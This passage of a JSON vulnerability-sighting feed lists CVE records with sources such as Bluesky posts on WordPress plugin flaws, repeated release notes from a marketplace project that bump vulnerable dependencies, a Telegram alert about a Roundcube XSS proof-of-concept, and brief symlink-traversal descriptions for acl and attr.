"CVE-2026-54823", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpfqbb6hll22", "content": "CVE-2026-54823 widget-options (CVSS Score 8.8) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T05:16:11.455762Z"}, {"uuid": "17a927e6-4da8-476a-acf8-5d77b1cd9a7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54808", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpftmh25o426", "content": "CVE-2026-54808 wp-travel-blocks (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T06:16:07.737710Z"}, {"uuid": "45f34ffc-7bb9-4df1-9a38-2dab5c9f2aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54808", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mpfvwwo5o42b", "content": "CVE-2026-54808 wp-travel-blocks (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #potatosecurity #wordpressfirewall #mashing #wpsecurity #atomicedge #potatosecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T06:57:47.137449Z"}, {"uuid": "5e5ee802-c3cd-4be9-8171-9323880e6aab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54815", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpfwxrmzjl2i", "content": "CVE-2026-54815 cargo-shipping-location-for-woocommerce (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T07:16:09.311366Z"}, {"uuid": "506ab6b4-62c5-4ec4-82b4-25e674d6ec09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/36138528b5a097ea980b0a2aa2e6ffa4", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Trello**\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd75 Retour de test**\n        - *fix(dashboard): v2 ter* [\\#7583](https://github.com/Wishibam/Marketplace-api/pull/7583)\n        - *fix(dashboard): fix retailer filter param, enrich stock export and deprecate getSize/getColor* [\\#7602](https://github.com/Wishibam/Marketplace-api/pull/7602)\n    - [\ud83d\uded2\ud83d\udd0e Tri \u2014 passer en vue filtr\u00e9e par marchand (Marchand > Liste produit > D\u00e9tail produit)](https://trello.com/c/QtKdZOeE/2444-%F0%9F%9B%92%F0%9F%94%8E-tri-passer-en-vue-filtr%C3%A9e-par-marchand-marchand-liste-produit-d%C3%A9tail-produit) **In review WMS**\n        - *fix(wms): sorting retailer list* [\\#7588](https://github.com/Wishibam/Marketplace-api/pull/7588)\n    - [\ud83d\udd0d WMS - PACKING - Recherche au-del\u00e0 de la limite des 30 commandes](https://trello.com/c/cw1UsrG7/2427-%F0%9F%94%8D-wms-packing-recherche-au-del%C3%A0-de-la-limite-des-30-commandes) **\ud83d\udc8e\ud83d\udc8e\ud83d\udc8edoing**\n        - *:sparkles: Add new search options for packing view* [\\#7589](https://github.com/Wishibam/Marketplace-api/pull/7589)\n    - [Traitement Cloudinary de la premi\u00e8re image de variation](https://trello.com/c/YuiI3bne/2449-traitement-cloudinary-de-la-premi%C3%A8re-image-de-variation) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *:sparkles: feat: process first variation image via Cloudinary preset* [\\#7592](https://github.com/Wishibam/Marketplace-api/pull/7592)\n    - [\ud83d\udce6\u2611\ufe0f WMS \u2014 Tri des colis : d\u00e9p\u00f4t de masse pour l'exp\u00e9dition (syst\u00e8me de coches)](https://trello.com/c/oMuGHbGB/2429-%F0%9F%93%A6%E2%98%91%EF%B8%8F-wms-tri-des-colis-d%C3%A9p%C3%B4t-de-masse-pour-lexp%C3%A9dition-syst%C3%A8me-de-coches) **\ud83e\udd73Testing**\n        - *:sparkles: WMS rework massTransfer on TriShipping* [\\#7593](https://github.com/Wishibam/Marketplace-api/pull/7593)\n \n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *:memo: docs: map PrintNode accounts per env and organization* [\\#7573](https://github.com/Wishibam/Marketplace-api/pull/7573)\n    - *:memo: docs: define \"done\" for dev tasks as green PR awaiting review* [\\#7574](https://github.com/Wishibam/Marketplace-api/pull/7574)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)\n    - *:bug: fix: first-image reprocessing actually reaches the eshop* [\\#7598](https://github.com/Wishibam/Marketplace-api/pull/7598)\n    - *:bug: fix: give each processed image a unique URL so re-processing reaches the eshop* [\\#7599](https://github.com/Wishibam/Marketplace-api/pull/7599)\n    - *:zap: perf: first-image processing once per flush, off the import worker hot path* [\\#7604](https://github.com/Wishibam/Marketplace-api/pull/7604)\n \n- **D\u00e9j\u00e0 en production**\n    - *fix(media): flush before Factory call so VichUploader sets contentUrl before URL is built* [\\#7594](https://github.com/Wishibam/Marketplace-api/pull/7594)", "creation_timestamp": "2026-06-29T07:39:40.820031Z"}, {"uuid": "40f05eee-045b-4ee6-b39c-3527c859acdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54816", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpg2czqzdd2m", "content": "CVE-2026-54816 advanced-ads (CVSS Score 8.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T08:16:08.138344Z"}, {"uuid": "7efb06e3-e05a-4415-a7ea-d130fd86fe74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/140f477ecbfedc8701c163345e6191b0", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Trello**\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd75 Retour de test**\n        - *fix(dashboard): v2 ter* [\\#7583](https://github.com/Wishibam/Marketplace-api/pull/7583)\n        - *fix(dashboard): fix retailer filter param, enrich stock export and deprecate getSize/getColor* [\\#7602](https://github.com/Wishibam/Marketplace-api/pull/7602)\n    - [\ud83d\uded2\ud83d\udd0e Tri \u2014 passer en vue filtr\u00e9e par marchand (Marchand > Liste produit > D\u00e9tail produit)](https://trello.com/c/QtKdZOeE/2444-%F0%9F%9B%92%F0%9F%94%8E-tri-passer-en-vue-filtr%C3%A9e-par-marchand-marchand-liste-produit-d%C3%A9tail-produit) **In review WMS**\n        - *fix(wms): sorting retailer list* [\\#7588](https://github.com/Wishibam/Marketplace-api/pull/7588)\n    - [\ud83d\udd0d WMS - PACKING - Recherche au-del\u00e0 de la limite des 30 commandes](https://trello.com/c/cw1UsrG7/2427-%F0%9F%94%8D-wms-packing-recherche-au-del%C3%A0-de-la-limite-des-30-commandes) **In review WMS**\n        - *:sparkles: Add new search options for packing view* [\\#7589](https://github.com/Wishibam/Marketplace-api/pull/7589)\n    - [Traitement Cloudinary de la premi\u00e8re image de variation](https://trello.com/c/YuiI3bne/2449-traitement-cloudinary-de-la-premi%C3%A8re-image-de-variation) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *:sparkles: feat: process first variation image via Cloudinary preset* [\\#7592](https://github.com/Wishibam/Marketplace-api/pull/7592)\n    - [\ud83d\udce6\u2611\ufe0f WMS \u2014 Tri des colis : d\u00e9p\u00f4t de masse pour l'exp\u00e9dition (syst\u00e8me de coches)](https://trello.com/c/oMuGHbGB/2429-%F0%9F%93%A6%E2%98%91%EF%B8%8F-wms-tri-des-colis-d%C3%A9p%C3%B4t-de-masse-pour-lexp%C3%A9dition-syst%C3%A8me-de-coches) **\ud83e\udd73Testing**\n        - *:sparkles: WMS rework massTransfer on TriShipping* [\\#7593](https://github.com/Wishibam/Marketplace-api/pull/7593)\n    - [Multi plateforme - droit de r\u00e9tractation](https://trello.com/c/ebl3rUnS/2400-multi-plateforme-droit-de-r%C3%A9tractation) **\u2600\ufe0fIn review**\n        - *Add right of withdrawal feature* [\\#7606](https://github.com/Wishibam/Marketplace-api/pull/7606)\n \n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *:memo: docs: map PrintNode accounts per env and organization* [\\#7573](https://github.com/Wishibam/Marketplace-api/pull/7573)\n    - *:memo: docs: define \"done\" for dev tasks as green PR awaiting review* [\\#7574](https://github.com/Wishibam/Marketplace-api/pull/7574)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)\n    - *:bug: fix: first-image reprocessing actually reaches the eshop* [\\#7598](https://github.com/Wishibam/Marketplace-api/pull/7598)\n    - *:bug: fix: give each processed image a unique URL so re-processing reaches the eshop* [\\#7599](https://github.com/Wishibam/Marketplace-api/pull/7599)\n    - *:zap: perf: first-image processing once per flush, off the import worker hot path* [\\#7604](https://github.com/Wishibam/Marketplace-api/pull/7604)\n \n- **D\u00e9j\u00e0 en production**\n    - *fix(media): flush before Factory call so VichUploader sets contentUrl before URL is built* [\\#7594](https://github.com/Wishibam/Marketplace-api/pull/7594)\n    - *:sparkles: feat: add --no-send option to Sellsy invoice command* [\\#7608](https://github.com/Wishibam/Marketplace-api/pull/7608)", "creation_timestamp": "2026-06-29T08:59:50.419634Z"}, {"uuid": "d8e8fc05-c6a4-42b9-b280-3f67da3a2f2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54831", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpg5oe6qse2a", "content": "CVE-2026-54831 geodirectory (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T09:16:09.267322Z"}, {"uuid": "4440bfdc-6dc7-489f-b30a-1f4413558280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54348", "type": "published-proof-of-concept", "source": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4", "content": "", "creation_timestamp": "2026-08-18T22:35:25.779101Z"}, {"uuid": "a8cef8b3-c591-4e26-be45-152b750b1aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54433", "type": "seen", "source": "https://t.me/GithubRedTeam/98057", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54433\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aramosf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-14 14:24:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54433 Roundcube plain-text email stored XSS PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-15T00:00:47.433221Z"}, {"uuid": "adc9165d-77e2-4627-b1a0-2bacbadb5b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54763", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0989", "content": "", "creation_timestamp": "2026-08-13T08:45:26.708732Z"}, {"uuid": "8a1a8bbd-89b6-44e7-a3c8-59d8367ae5d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54820", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpgazmb4od2d", "content": "CVE-2026-54820 jet-booking (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T10:16:08.168636Z"}, {"uuid": "a511610f-ddc4-4fe1-a3ab-9a91befd3e55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54813", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpgeevfhhh2a", "content": "CVE-2026-54813 suredash (CVSS Score 6.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T11:16:07.849502Z"}, {"uuid": "1f943c36-a768-46f3-b35c-98ec2e7be95b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54347", "type": "published-proof-of-concept", "source": "https://github.com/froxlor/froxlor/security/advisories/GHSA-43gm-9rr3-cx7g", "content": "", "creation_timestamp": "2026-08-18T22:35:28.032281Z"}, {"uuid": "d7bfc104-5a53-4ee4-8e03-1de48d53a82f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54822", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpghq55ty32i", "content": "CVE-2026-54822 salesmanago (CVSS Score 6.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T12:16:06.358250Z"}, {"uuid": "d6095753-4966-455f-8335-5f5ab24a5980", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54828", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpgl3jlzx62i", "content": "CVE-2026-54828 motors-car-dealership-classified-listings (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T13:16:09.784897Z"}, {"uuid": "d9656c58-6616-4bb6-90d4-623d8b7b19c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/991f800e26e520fdd92f15b89fab3305", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Trello**\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *fix(dashboard): v2 ter* [\\#7583](https://github.com/Wishibam/Marketplace-api/pull/7583)\n        - *fix(dashboard): fix retailer filter param, enrich stock export and deprecate getSize/getColor* [\\#7602](https://github.com/Wishibam/Marketplace-api/pull/7602)\n    - [\ud83d\uded2\ud83d\udd0e Tri \u2014 passer en vue filtr\u00e9e par marchand (Marchand > Liste produit > D\u00e9tail produit)](https://trello.com/c/QtKdZOeE/2444-%F0%9F%9B%92%F0%9F%94%8E-tri-passer-en-vue-filtr%C3%A9e-par-marchand-marchand-liste-produit-d%C3%A9tail-produit) **\ud83e\udd73Testing**\n        - *fix(wms): sorting retailer list* [\\#7588](https://github.com/Wishibam/Marketplace-api/pull/7588)\n    - [\ud83d\udd0d WMS - PACKING - Recherche au-del\u00e0 de la limite des 30 commandes](https://trello.com/c/cw1UsrG7/2427-%F0%9F%94%8D-wms-packing-recherche-au-del%C3%A0-de-la-limite-des-30-commandes) **In review WMS**\n        - *:sparkles: Add new search options for packing view* [\\#7589](https://github.com/Wishibam/Marketplace-api/pull/7589)\n    - [Traitement Cloudinary de la premi\u00e8re image de variation](https://trello.com/c/YuiI3bne/2449-traitement-cloudinary-de-la-premi%C3%A8re-image-de-variation) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *:sparkles: feat: process first variation image via Cloudinary preset* [\\#7592](https://github.com/Wishibam/Marketplace-api/pull/7592)\n    - [\ud83d\udce6\u2611\ufe0f WMS \u2014 Tri des colis : d\u00e9p\u00f4t de masse pour l'exp\u00e9dition (syst\u00e8me de coches)](https://trello.com/c/oMuGHbGB/2429-%F0%9F%93%A6%E2%98%91%EF%B8%8F-wms-tri-des-colis-d%C3%A9p%C3%B4t-de-masse-pour-lexp%C3%A9dition-syst%C3%A8me-de-coches) **\ud83e\udd73Testing**\n        - *:sparkles: WMS rework massTransfer on TriShipping* [\\#7593](https://github.com/Wishibam/Marketplace-api/pull/7593)\n    - [Multi plateforme - droit de r\u00e9tractation](https://trello.com/c/ebl3rUnS/2400-multi-plateforme-droit-de-r%C3%A9tractation) **\ud83e\udd73Testing**\n        - *Add right of withdrawal feature* [\\#7606](https://github.com/Wishibam/Marketplace-api/pull/7606)\n \n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *:memo: docs: map PrintNode accounts per env and organization* [\\#7573](https://github.com/Wishibam/Marketplace-api/pull/7573)\n    - *:memo: docs: define \"done\" for dev tasks as green PR awaiting review* [\\#7574](https://github.com/Wishibam/Marketplace-api/pull/7574)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)\n    - *:bug: fix: first-image reprocessing actually reaches the eshop* [\\#7598](https://github.com/Wishibam/Marketplace-api/pull/7598)\n    - *:bug: fix: give each processed image a unique URL so re-processing reaches the eshop* [\\#7599](https://github.com/Wishibam/Marketplace-api/pull/7599)\n    - *:zap: perf: first-image processing once per flush, off the import worker hot path* [\\#7604](https://github.com/Wishibam/Marketplace-api/pull/7604)\n \n- **D\u00e9j\u00e0 en production**\n    - *fix(media): flush before Factory call so VichUploader sets contentUrl before URL is built* [\\#7594](https://github.com/Wishibam/Marketplace-api/pull/7594)\n    - *:sparkles: feat: add --no-send option to Sellsy invoice command* [\\#7608](https://github.com/Wishibam/Marketplace-api/pull/7608)\n    - *:bug: fix: send Sellsy invoice note from organization config* [\\#7610](https://github.com/Wishibam/Marketplace-api/pull/7610)\n    - *:wrench: chore: sync master security hotfixes (CVE) into develop* [\\#7612](https://github.com/Wishibam/Marketplace-api/pull/7612)", "creation_timestamp": "2026-06-29T13:40:54.938432Z"}, {"uuid": "fd35bfed-5305-49c1-b102-1120d197d98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54515", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgnhh3jnf2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54515 \u0432 Jackson-databind: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/D0BE41EA-D6E5-4143-BB6A-AA61C591B733", "creation_timestamp": "2026-06-29T13:58:37.075512Z"}, {"uuid": "7b9a36d3-b9e7-4f27-b4cf-112b70badbb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54834", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpgogqpqx42d", "content": "CVE-2026-54834 object-cache-4-everyone (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T14:16:07.621972Z"}, {"uuid": "3c7fcd8a-6808-4b43-94ec-bebaa25c2838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54353", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgptcrf6x2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54353 \u0432 Budibase: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/5EEA6ABB-6EC6-4981-8DD3-90CA3B37956F", "creation_timestamp": "2026-06-29T14:41:08.825527Z"}, {"uuid": "b5cb09c4-8942-493c-a7fa-4558dbd24b27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54830", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpgrrzfimb2j", "content": "CVE-2026-54830 restaurant-reservations (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-29T15:16:07.008089Z"}, {"uuid": "0c687e7b-1f76-4693-90a2-af1b5db4b4c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54369", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpgs4dpc3w2o", "content": "CVE-2026-54369 - acl\nCVE ID : CVE-2026-54369\n \n Published : June 29, 2026, 12:37 p.m. | 2\u00a0hours, 34\u00a0minutes ago\n \n Description : acl before version 2.4.0 contains a symlink traversal vulnerability in the libacl pathname-based functions acl_get_file(), acl_set_file(), acl_exten...", "creation_timestamp": "2026-06-29T15:21:53.411365Z"}, {"uuid": "ce92e6a9-9f3d-4744-8dc1-6342f198ce5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54371", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpgsccqmob27", "content": "CVE-2026-54371 - attr\nCVE ID : CVE-2026-54371\n \n Published : June 29, 2026, 12:39 p.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : attr before version 2.6.0 contains a symlink traversal vulnerability in the getfattr and setfattr utilities that allows local attackers to escalate...", "creation_timestamp": "2026-06-29T15:25:14.197103Z"}, {"uuid": "61cbcefd-4a5f-45df-95ca-bdd4308d6785", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54369", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgtm5meg22t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54369 \u0432 ACL: \u0441\u0438\u043c\u043b\u0438\u043d\u043a-\u0442\u0440\u0430\u0432\u0435\u0440\u0441\u0430\u043b \u0438 \u0435\u0433\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/16C9CB13-E2BA-4683-87D3-D13DB5D1C3E8", "creation_timestamp": "2026-06-29T15:48:37.320724Z"}, {"uuid": "0434ccd6-c5ba-49b2-aa82-fbec3c467a1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54371", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgtzul2mp2t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54371 \u0432 attr: \u0443\u0433\u0440\u043e\u0437\u0430 